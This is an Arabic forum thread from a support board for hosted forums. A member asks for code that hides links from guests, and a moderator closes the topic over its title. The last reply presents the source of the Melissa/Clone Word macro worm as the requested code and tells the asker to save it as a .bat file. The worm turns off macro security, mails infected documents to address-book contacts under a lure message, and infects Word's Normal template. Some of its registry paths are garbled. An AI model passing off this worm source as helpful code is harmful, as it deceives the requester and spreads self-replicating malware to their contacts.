منتدى الدعم العربي لمنتديات أحلى منتدى
مرحبا بك في منتدى دعم منتديات AhlaMontada

لتتمكن من الإستمتاع بكافة ما يوفره لك هذا المنتدى من خصائص, يجب عليك أن تسجل الدخول الى حسابك في المنتدى. إن لم يكن لديك حساب بعد, نتشرف بدعوتك لإنشائه.

انشاء منتدى مجاني شبيه بهذا المنتدى

طــلــب كــود

استعرض الموضوع السابق استعرض الموضوع التالي اذهب الى الأسفل

طــلــب كــود

مُساهمة من طرف Moon.Light في الإثنين 11 يونيو 2012 - 10:08

انا عايز كود علشان مفيش حد يشوف الروابط بالمنتدى غير ما يسجل او يعرف بنفسه !

صوره للتوضيح
http://imageshack.us/f/4/45423863.png/


ارجـو عـدم اهـمـال الـطـلـب

Moon.Light



ذكر
عدد المساهمات : 54
معدل النشاط : 1808

http://youthcole.lolbb.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: طــلــب كــود

مُساهمة من طرف prince kimo في الإثنين 11 يونيو 2012 - 14:11

السلام عليكم,
يسعدنا كثيرا حضورك الكريم في منتدى الدعم
قبل ان اساعدك في حل مشكلتك, انبهك الى قانون مهم جداً لمنتدى الدعم يجب عليك احترامه في مواضيعك لتجد ان شاء الله المساعدة التي تبتغيها. هذا القانون هو ضرورة وضعك لعنوان مناسب لموضوعك يدل على محتواه و يلخصه نوعاً ما ليسهل على القارء التعرف عليه وعلى محتواه من نظرة بسيطة فيهب اليه المختصون حسب طبيعة المشكل Wink .
هذا
القانون صوت عليه اغلبية اعضاء الدعم و وافقو عليه بالأغلبية الساحقة
لضمان النظام في المنتدى, فالمرجو ان تساعدنا على احترامه و الرقي بمنتدانا
معاً يداً في يد.

أنت ما شاء الله لست
عضواً جديداً في منتدانا و لديك ما يكفي من الخبرة و الحمد لله لتكون قد
سمعت بهذا القانون. لذلك نطمع في ان تساعدنا بقليل من النظام للرقي
بمنتدانا و تنظيمه لو سمحت.


بعد ان شرحت لك
الموقف, استأذنك و اقفل موضوعك ليس تعسفاً و لا تكبراً و انما اضطراراً
لأنه لا يتوفا شروط النشر التي صوت عليها اعضاء هذا المنتدى.

اطلب منك ان تفتح موضوعاً جديدا تضع له عنوان مناسب يدل على محتواه و يلخصه نوعاً ما ليسهل على القارء التعرف عليه وعلى محتواه من نظرة بسيطة بعيداً عن العناوين التي ليس لها معنى ولا تسمن ولا تغني من جوع.

شكرا
لك على تفهمك و في انتظار فتحك موضوع جديد يتوفى شروط المساعدة التي هي
(موضوعك في القسم المناسب و بالعنوان المناسب) لأساعدك ان شاء الله.

بالتوفيق

prince kimo
 
 

ذكر
عدد المساهمات : 3931
معدل النشاط : 6348

http://www.7rof-sh.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: طــلــب كــود

مُساهمة من طرف ღ منالღ في الإثنين 11 يونيو 2012 - 14:14

انا مابعرف اسفة

ღ منالღ



انثى
عدد المساهمات : 3
معدل النشاط : 1672

http://asmamanal.7olm.org/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: طــلــب كــود

مُساهمة من طرف prince kimo في الإثنين 11 يونيو 2012 - 14:17

ღ منالღ
اذا كان لديكى موضوع ضعى فى موضوع منفصل ولادعى لرد العشوئى
يغلق الموضوع
العنوان مخالف


prince kimo
 
 

ذكر
عدد المساهمات : 3931
معدل النشاط : 6348

http://www.7rof-sh.com/

الرجوع الى أعلى الصفحة اذهب الى الأسفل

رد: طــلــب كــود

مُساهمة من طرف الكأس الذهبي في الإثنين 11 يونيو 2012 - 14:26

Spoiler:
55656


عدل سابقا من قبل الكأس الذهبي في الإثنين 11 يونيو 2012 - 15:00 عدل 1 مرات

الكأس الذهبي
 
 

ذكر
عدد المساهمات : 164
معدل النشاط : 1894

الرجوع الى أعلى الصفحة اذهب الى الأسفل

هذاششش

مُساهمة من طرف الكأس الذهبي في الإثنين 11 يونيو 2012 - 14:27

بدها كود


هذا الكود انسخه ووالصقه على ملفtxt واحفظه باسم .bat


Private Sub AutoOpen() On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") = 1&
Else p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo

'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. Im outta here."

الكأس الذهبي
 
 

ذكر
عدد المساهمات : 164
معدل النشاط : 1894

الرجوع الى أعلى الصفحة اذهب الى الأسفل

استعرض الموضوع السابق استعرض الموضوع التالي الرجوع الى أعلى الصفحة


 
صلاحيات هذا المنتدى:
لاتستطيع الرد على المواضيع في هذا المنتدى